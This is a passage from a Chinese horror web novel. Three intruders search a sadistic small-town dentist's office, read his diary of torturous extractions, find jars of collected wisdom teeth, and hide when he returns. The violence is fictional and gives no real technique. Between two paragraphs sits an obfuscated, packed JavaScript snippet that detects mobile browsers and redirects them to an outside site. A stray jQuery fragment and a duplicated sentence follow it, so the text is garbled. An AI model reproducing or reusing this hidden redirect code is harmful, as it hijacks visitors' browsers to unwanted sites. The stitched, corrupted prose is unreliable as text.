很快，黄羽翎在书桌抽屉里找到了照片。


    第一张是黑白照片，边缘已经卷曲。


    照片上是一个瘦削的男孩，大约七八岁，站在一栋房子前。男孩没有笑，嘴唇紧紧抿着。


    他旁边站着一个高大的男人，男人的手按在男孩肩膀上，手指用力到指节发白。


    第二张照片，男孩大了一些，十岁左右。他坐在一张椅子上，嘴巴张开，一个男人（同一个男人）正俯身看着他，手里拿着什么工具。男孩的眼睛睁得很大，但没有焦距。


    第三张照片，男孩成了少年。他穿着白大褂，站在一个实验室里，背后是骷髅模型和牙齿图表。这次他在笑，但笑容很僵硬，嘴角的弧度不对称。


    “这个人是他。”叶温缇凑过来看，“汉克·索耶。”


    “那这个男人是谁？”黄羽翎指着照片里的高大男人。


    周笔灰接过照片，凑近烛光。男人有一张棱角分明的脸，眼神冷硬，嘴角向下撇。他的牙齿很显眼——前排牙齿有一颗是金的。


    “这是家庭照片，应该是他的爸爸？”周笔灰说，“而且看样子……也是牙医。”


    他继续翻找，在抽屉最底层，有一个硬皮笔记本，封面上没有字，但皮质已经磨损，边缘露出里面的纸板。


    他翻开。


    第一页是一张手绘的解剖图——下颌骨、智齿、神经血管束。图画得极其精细，旁边用细小工整的字标注着每一个结构。


    第二页开始是日记。


    “1954年6月12日。今天父亲‘矫正’了我的左下第二前磨牙。他说那颗牙长得歪，会影响整个牙列。他用钳子夹住，摇了三分钟，然后猛地一拽。牙根断了。他不得不用凿子把残根挖出来。流血很多。他说：记住这种痛。下次牙齿再敢长歪，你会更痛。”


    “1955年3月7日。我开始读《格雷氏解剖学》。牙齿的部分我读了十七遍。我明白了父亲为什么总是瞄准特定的牙齿——那些最容易发炎、最可能成为病灶的牙齿。他是对的，但他的技术……如果他知道神经的确切位置，可以避免很多不必要的疼痛。”


    “1958年9月15日。我被德克萨斯大学牙科学院录取。父亲说：很好。去学，然后回来。这个小镇需要一个真正的牙医。一个知道如何‘矫正’的人。”


    日记中间缺了很多页。周笔灰快速翻动，直到笔迹变得潦草，墨水颜色也变了。


    “1963年11月3日。我回来了。诊所开张。第一个病人是老约翰逊，他智齿发炎，脸肿得像馒头。我给他做了局部麻醉，切开牙龈，拔除。二十分钟，出血很少。他感谢我。他说：你比你父亲温和多了。”


    “我没有告诉他，麻药是我故意减量的。我想让他记住一点疼痛。记住病灶被移除的感觉。”


    “1965年4月18日。镇长来找我。他说小镇最近‘不太平’，年轻人开始有‘奇怪的想法’，质疑传统，质疑规则。他说：汉克，你学过科学。你知道怎么让人……安静下来吗？”


    “我告诉他：疼痛会让人分心。持续的、可控制的疼痛，可以占据一个人的全部注意力，让他们没空去想别的事。”


    “他说：具体点。”


    “我说：智齿。每个人都有，或早或晚都会疼。如果我们在它疼之前就把它移除，就可以控制疼痛的时间、程度。我们可以让疼痛成为一种……教育工具。”


    日记在这里中断了几行。然后：


    “1965年5月1日。第一个‘自愿’病人。镇长的儿子。十七岁，健康，智齿完全萌出，没有任何症状。我拔了。不打麻药。他尖叫了十五分钟。结束后，他眼神空洞地看着我，说：谢谢您，索耶医生。我现在明白了。”


    “明白了什么？”


    “他说：疼痛让我清醒。”


    周笔灰翻页的手指在颤抖。


    后面的日记越来越短，越来越破碎。


    “1967年。已经习惯了。每周都有人来。不是治疗，是‘预防’。是‘教育’。”


    “1968年。我开始收集。每一颗拔下的智齿，我都清洗、消毒、编号。它们是里程碑。是这个小镇变得……更好的证明。”


    “1969年。父亲去世了。葬礼上，我看着他棺材里的脸。他的嘴微微张着，我看见他的牙齿——那颗金牙还在。我想把它挖出来。但没做。我保留了它。作为纪念。”


    “1970年。我自己的智齿开始疼了。左下。我拍了X光片——阻生，顶着邻牙。病灶。我必须移除它。”


    “1970年3月10日。我给自己拔了牙。没有助手，自己对着镜子。很困难，牙根弯曲，断了。花了四十分钟。疼痛……难以形容。但结束后，我感到了前所未有的清晰。我终于完全理解了。”


    “疼痛不是惩罚。疼痛是净化。”


    “智齿不是牙齿。是病灶。是错误。是必须被切除的癌。”


    “这个小镇，这个世界，充满了病灶。我的工作是切除它们。一个接一个。”


    日记到这里几乎结束了，最后几页是名单，日期，牙齿编号。周笔灰快速扫过，看到了最近几天的记录——七个名字，七个日期，后面都空着“牙齿编号”一栏。


    “找到了。”叶温缇的声音从房间另一头传来。


    她站在一个靠墙的柜子前。柜子原本锁着，但她用发卡撬开了简单的弹子锁。柜子里没有文件，没有器械。


    只有玻璃罐。


    几十个玻璃罐，整齐排列。每个罐子里都泡着福尔马林溶液，溶液里漂浮着一颗牙齿。智齿。有些完整，有些碎裂，有些还带着一小块牙龈组织。


    每个罐子上都有标签：名字，日期，编号。


    周笔灰走过去。他的目光扫过那些名字——有些是英文名，有些是西班牙语名。最早的日期是1965年5月1日。最近的……是三天前。一个叫“Miguel”的名字。


    “他在计数。”黄羽翎低声说。


    “不。”周笔灰摇头，“他在收集。这是他的……战利品博物馆，恐怖片的反派主角最喜欢搞这种名堂。”


    他的目光停在柜子最上层的一个罐子上。


    那个罐子单独放在那里，没有和其他罐子排在一起。罐子里的溶液更浑浊，牙齿的颜色也更深——几乎是黑的。而且那颗牙齿的形状很奇怪，牙冠部分有缺损，像是被什么东西凿过。


    罐子上没有印刷的标签，只有一张手写的纸条，用胶带贴在玻璃上：


    “起源。H.S.1970.3.10”


    “那是他自己的牙……难道说是他自己亲手拔的？”黄羽翎说。她的智齿又疼了，这次疼得她必须扶住柜子才能站稳。重影中，她看到那颗黑色的牙齿在溶液里缓缓旋转，牙根部分伸出细丝般的、血红色的触须。


    “他的第一颗智齿。”周笔灰伸手去拿罐子，“他给自己拔的那颗。”


    他的手停在半空。


    前门传来了钥匙插入锁孔的声音。


    咔嚓。转动。


    三个人同时僵住。


    周笔灰迅速吹周笔灰迅速吹灭蜡烛。


    黑暗很快压下来，伸手不见五指。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396427|177457||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只有前门方向透进来一丝极微弱的光——可能是月光，也可能是门廊灯。


    钥匙转动的声音停了。


    门被推开。


    脚步声。很沉，很慢。靴子踩在老旧的木地板上，发出吱呀吱呀的呻吟。


    黄羽翎捂住嘴，连呼吸都屏住了。


    她的心脏在胸腔里狂跳，每一次搏动都撞击着疼痛的智齿，像有锤子在从内向外敲打。


    黑暗中，她看到重影闪现，一个高大的轮廓，拖着什么东西，在地板上留下一道黏腻的痕迹。


    那轮廓朝诊疗室走来。


    周笔灰抓住她和叶温缇的手臂，用最轻的动作把她们往墙角拉。那里有一个高大的器械柜，柜子和墙壁之间有一道狭窄的缝隙，刚好够三个人侧身挤进去。


    他们刚躲好，诊疗室的门就被推开了。


    灯光亮起。


    灯管闪烁了几下，发出嗡嗡的电流声，然后稳定下来，洒下刺眼的白光。


    汉克·索耶走了进来。


    他穿着白大褂，但白大褂的下摆沾满了深色的污渍，有些已经干涸发黑，有些还是湿漉漉的。他手里拖着一个麻袋，麻袋很沉，底部在地板上摩擦，发出沙沙的声音。


    索耶把麻袋扔在牙医椅旁边。麻袋口松开了，里面滚出几件东西——一件沾满泥土的工装裤，一双破旧的工装靴，还有一把小型的园艺铲。


    他背对着他们，开始脱手套。


    橡胶手套被血和别的什么液体浸得发亮，他一根手指一根手指地慢慢褪下，动作仔细认真。脱下的手套被扔进墙角的垃圾桶，桶里已经堆了不少类似的东西。


    然后他走到洗手池前，打开水龙头。


    水流声在寂静中显得格外响亮。


    索耶挤了消毒液，开始洗手。他洗得同样认真，从手指到手腕，每一道指缝都不放过，洗了足足三分钟。


    关水。


    他用一块干净的白毛巾擦干手，然后把毛巾整齐地叠好，放回架子上。


    做完这一切，他才转过身。


    黄羽翎从柜子缝隙里看到了他的脸。


    和白天在广场上看到的那个“镇长兼牙医”不同。


    此刻的索耶脸上没有任何那种表演性的、僵硬的“和善”。他的表情是空的。眼睛下方有深深的黑眼圈，脸颊凹陷，嘴唇干裂。他看起来……疲惫。一种深入骨髓的疲惫。


    但他的眼睛很亮。一种不正常的、亢奋的亮。


    索耶走到器械台前，开始整理工具。他把钳子、凿子、骨锤一一拿起来，检查，用酒精棉擦拭，再放回原处。动作机械，精确，没有一丝多余。


    然后他停住了。


    他抬起头，鼻子微微抽动。


    他在闻。


    黄羽翎感到周笔灰的手臂肌肉绷紧了。


    叶温缇的呼吸几乎完全停止。


    索耶慢慢转过身，目光扫过房间。


    他的视线在器械柜上停留了一秒——不，是两秒。


    黄羽翎能感觉到他的目光像物理性的触摸，从柜子表面一寸寸刮过。


    但他没有走过来。


    他走向了那个装着黑色牙齿的玻璃罐。


    索耶站在柜子前，仰头看着那个罐子。他伸出手，指尖轻轻触碰玻璃表面，沿着罐子的轮廓抚摸，像在抚摸情人的脸。


    然后他开始说话。


    声音很轻，几乎是自言自语，但在死寂的房间里清晰可辨。


    “又来了七个。”他说，“父亲会说……太多了。一次七个，会乱。要一个一个来。”